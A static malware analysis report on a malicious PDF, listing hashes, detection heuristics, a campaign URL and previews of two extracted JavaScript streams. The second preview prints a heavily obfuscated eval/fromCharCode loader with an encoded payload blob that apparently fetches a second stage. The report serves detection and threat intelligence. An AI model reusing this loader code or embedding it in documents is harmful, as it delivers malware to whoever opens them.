Malicious PDF — malware analysis report

Static analysis result for SHA-256 944e7f6b52abe4b4…

MALICIOUS

PDF

2.8 KB First seen: 2026-05-11
MD5: 8fdc3900a8e6e9c547dfc372244c0a99 SHA-1: 3487c34013a4f9492bec4df156b0324fb4d1fbc2 SHA-256: 944e7f6b52abe4b4e6b6684304c56bf41508fdbabb67bc9f1ec500263804d754
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of PDF_EVAL and PDF_FROMCHARCODE firings strongly suggests that the JavaScript is obfuscated and uses dynamic code execution. The extracted JavaScript files, 'javascript_obj111611_000.js' and 'javascript_obj111612_001.js', are likely responsible for downloading and executing a second-stage payload. The obfuscation techniques used make it difficult to determine the exact payload or final destination without further dynamic analysis.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('epdpc=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/_-a Referenced by PDF JavaScript
🗂 Part of campaign: d2f.qk 21 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x197 256 bytes
SHA-256: e49ad805823291e0094f1b9c481d71c56ef9d2cddbfbe00ad62ddf6dde38d606
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('epdpc=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");
javascript_obj111612_001.js pdf-javascript-stream PDF /JS object 111612 at offset 0x266 3363 bytes
SHA-256: b0555c5f2a812278ce05608e01bf21c571f64ef8bbe3e3c0b2e3bba87119ea46
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
itcudm="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2b0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O2[0K0L242R0I3^0G2X3-000=0B2O0@2^0>3Z3d090:3M3P072_053N032S0131370,0-2`3O0*2a2c";cljoj="A602ZBDFJcKb=gLj00C8hY7MM]T1D70SDG3?TD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?<9@==9`]aMgjU@fGKMg9e_7LL_fH7+[c:K,5P-.PC8b@VX282KbA`0=Dh9.3NV,.ZX8K6?Q:JTCN2*Eg2**.3OZ+,EGgR<=JXK8W:2<Z+4.?gJK96,N2/5+,4-^2;O^T:OJg]._Z9K96*>34`JK5+h_3dLT:NT@,.[@G,CSPZJ*-R:1*.2CAGK*GEB:**2=DJe.XfIK**1:P?*2=[CV3fWC,CW,ZJ*-R=,J.3cGg2**.3@R+,@_@:J*-R=[*.3fWC,CW,ZJ*-R<=J,.+`HK9C:V35+>K*5_R:**2<SQK,4V*:Qi1:NLXS,DCER<QEV32R@K9.*:QX`N3E4/K**,ZP/*2:@?U,*f,ZJ**:PVg>3:YXK*5J:J**:P+KB:@?U,*f8K***K*-P:J+^2=@H4.RAb:J8^B:**2=[B@.haVK/I:V2**@.ZR+,*16K5JU@.-8C,D^[:O,ie.+aE,**+,?UKB=0,].**G,H2*K9GU2=7R@.**G,B>*K9-YK***K4`*2<aL].**G,H2*K9GU2=7R@.**G,<F*:J8U_3f4/K3B4N2+Ha.**,.TCc:LU*.3jK_32UT:PP@e.Saf,<4/R=[*.3fWC,@]KB:**V3K:,./ODZJ8ZV2**.3U9/,>5fR:,c.2**.3JB@./ODZJ8^R:**2:*dN2*F].`QLK4/h_2-Va.**,.g@/K9GU2;Q>5,**/K64*:J+^2<c4`K*^P:PVg>3:YXK*GPZJ**:ODc@.[JVK**1:JUJ,.]XA:P6^B=-6/,>OQZJ**:J**:J**:J**:J**:J**:J**:J**:QCC>3OO@K8Xf2=*>.2Tb8K58fc<`*,.db?K5>e_3[H/,Fd;B;:O/K*,^R=VVT.Z/@K8TRV3Cb<K8W`R=V>@.?3>R=/*.3ag4.?hVK8Oa:KKJ+,?5cR<TY/,>,::LVCV2>?ER=[??,<G>>2CW*K*,?2:**2:^*O,*?[N2**.2]fXK9Z3:J/FC,**+,4-^2=d4i.G<Q:KP+4.*UM2:**2:]ffR:,XU,**+,+3O_2c^gK**,ZM-*,.,=5R;[Qd,**/K6**K0A66K9Z3:J/FC,**+,CU-2<c]=R=8CG,IJ<K*4c].**,.SbLK5OH4.U=1:M8U4.?E+:PD/R==5<K6b;:O^K<K*OR:K?IN2**@.Nc*K+GAR;ObG,D/1:J<*V2eYd,**/K9.*:M5TG,IJ<K*4c].**,._]NR:*F.2**.2**.2**.2**.2**.2**.2**.3cJ,.FCi:J*+B=8*2=I[>3@XI,?U@V3Pd@.+^-2=ZSV2BC5B:,TW,EGSN3P>O,@SKB<`EA:KGWV3DOU:J+DN3KF].WD`2;<XU,G=WK8G`B=5GD.Wb?K8SZR<^X].>*+,Gb@K/*U2:XhD.?jC,*1C,45_R;>XG,/bYK8h::J*R2;?Xi.>,U:KD]C,GSDZLUG@.e]K:LXc>2AH/,GAS:KGee.>S?R=V5@.?EWK8TRV2R<JK8R@V2R,f,4-YK8/4V35SA:JJ*-[HE11K,.2XB6;BE]hJ*jQ[+[3P=W`U5QdYS_ID5,1NK@[[c:K,5P-.EeG282-AB***2E;1TZbOf*+j9L1RJ7FYY7MMZK,.A6038ZCh6:F;-XYT6P`eH2::,,..*J9/dVFH.2:Nf+Q_[+[4W=@Ef>_H^V0I=1VMI=WdVFH.2:LdJ[3VAdX0^a?282h+U,J>,J>2E;*Df***/cKWN+UV***7MMZK,.TW02hA602XAT0V`,eFJcJ7L5OeKU7:XQ2YL=BY^F7QVTa2XAT0V`,eFKe9;5[R89,.2:K0--=PeA5`-@DKG8EVJcNf+Q_[-_<CNfGD]dVFH.2:KS89,.2;FZBM:HY`KgCI1d+[.8eiR]EAScJ+1Lga89,.2:j@7=I<9@JhIU-c]i9bdYS_ID5,5cJ7GJ*5^:HY`KgCI1d-_82_1UhBI0A[ia89,.2;R9AeZi6YMgJcKc9Qcg.9;0JhIU-c]i9a[[c:K,6PPIUOW1dj@Waf-1cI`RE//S`e_1UhBI0A[jHE11K,0N";avbscs6=2763;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ksgoj/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(itcudm.length){ksgoj.push((ezjtbzd(itcudm.charCodeAt(0))<<(4+2))+ezjtbzd(itcudm.charCodeAt(1))-(500+12));itcudm=itcudm.slice(2,itcudm.length)}aojvdpd=xmyuk=itcudm=0;ymdta='';function ezjtbzd(gubnkpd){if(gubnkpd>92)gubnkpd--;return gubnkpd-42}function hodshn(){if(itcudm==0){xmyuk=ezjtbzd(cljoj.charCodeAt(aojvdpd++));itcudm=6;}return ((xmyuk>>--itcudm)&0x01);}/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(avbscs6--){i=0;while(ksgoj[i]<0){if(hodshn())i=-ksgoj[i];else i++;}ymdta+=String.fromCharCode(ksgoj[i]);}

Open this report in the interactive analyzer, or submit your own file for analysis.